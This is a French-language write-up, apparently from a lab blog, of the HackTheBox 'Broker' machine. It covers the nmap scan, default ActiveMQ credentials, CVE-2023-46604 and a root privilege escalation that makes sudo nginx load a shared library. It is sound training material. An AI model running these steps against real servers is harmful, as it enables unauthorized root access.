J’ai quelques autres writeups sur le feu mais j’ai finalisé aujourd’hui celui de la machine Broker sur HackTheBox. Il s’agit d’une machine classée dans la catégorie “facile”. Au regard de ce qui se fait dans la vie réelle, j’ai également envie de dire qu’il s’agit d’une machine “réaliste”.

Scan

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14

Le scan basique ne montre pas grand chose. Comme d’habitude on se garde le SSH sous la main au cas où. A priori pas d’exploit public utile pour nginx 1.18. On voit un realm d’authentification ActiveMQRealm.

On relance en parallèle un scan plus complet et on y repère d’autres ports ouverts dont :

  • 61613 (port ActiveMQ)
  • 61616 (ActiveMQ OpenWire transport 5.15.15)
22/tcp    open  ssh
80/tcp    open  http
1883/tcp  open  mqtt
5672/tcp  open  amqp
8161/tcp  open  patrol-snmp
44149/tcp open  unknown
61613/tcp open  unknown
61614/tcp open  unknown
61616/tcp open  unknown

On revient au port 80/tcp. On a une auth basique lorsqu’on y accède. La doc ActiveMQ nous dit que généralement c’est admin/admin :

Doc ActiveMQ avec creds par défaut

Ici ça fonctionne :

Ca semble être une version 5.15.15 d’ActiveMQ (confirmé via le port 61616). Il semble y avoir une CVE de 2023 qui affecte cette version : CVE-2023-46604

On trouve des codes d’exploitation :

La vulnérabilité a cette description :

The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.

En gros, il y a un broker qui attend des données sérialisées, mais on peut y instancier n’importe quelle classe, dont celles qui permettent l’exécution de commandes shell (comme java.lang.ProcessBuilder).

Exploitation

Exploitation de la vulnérabilité ActiveMQ

Post-exploitation et élévation de privilèges

Après des années de pentest, le cas le plus réaliste que je rencontre c’est une élévation de privilèges via sudo (je dis pas, il y a bien des trucs un peu tordus à certains endroits sur la planète, mais la réalité dans 90% des cas c’est des admins qui font tourner des trucs en root dans des dossiers world writeable).

Après avoir jeté un œil dans un éventuel fichier d’historique et des fichiers de configuration directement trouvables, j’enchaine généralement par un sudo -l pour déterminer quelles commandes mon utilisateur courant peut potentiellement exécuter avec des droits plus élevés, et avec un peu de chance sans avoir à fournir de mot de passe :

Apache ActiveMQ$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

Ici, il semblerait que mon utilisateur courant (activemq) puisse exécuter le binaire nginx sans avoir à fournir de mot de passe.

Dès qu’on voit un binaire dans un sudo -l on fonce sur gtfobins pour voir comment on peut en tirer parti. Il y a plusieurs possibilités.

On va tenter la technique du chargement d’une bibliothèque partagée (entre temps j’ai ouvert un reverse shell qui revient vers un nc -l parce que le pseudo shell de l’exploit activemq est pas génial):

$ cat >/tmp/test.conf <<EOF
load_module /tmp/lib.so;
EOF

sudo nginx -t -c /tmp/test.conf> > $ $ 

id
uid=0(root) gid=0(root) groups=0(root)

Et on a un shell root. Plus qu’à récupérer le flag.

Conclusion

Comme prévu, c’était vraiment une machine facile, mais terriblement réaliste. Il y a quelques semaines, The DFIR Report a publié un write-up d’une compromission d’entreprise sur laquelle ils ont investigué et dont le point d’entrée du groupe d’attaquants (ici LockBit) était une instance ActiveMQ (mais sur un serveur Windows, le payload c’était un certutil qui téléchargeait un implant de type Meterpreter).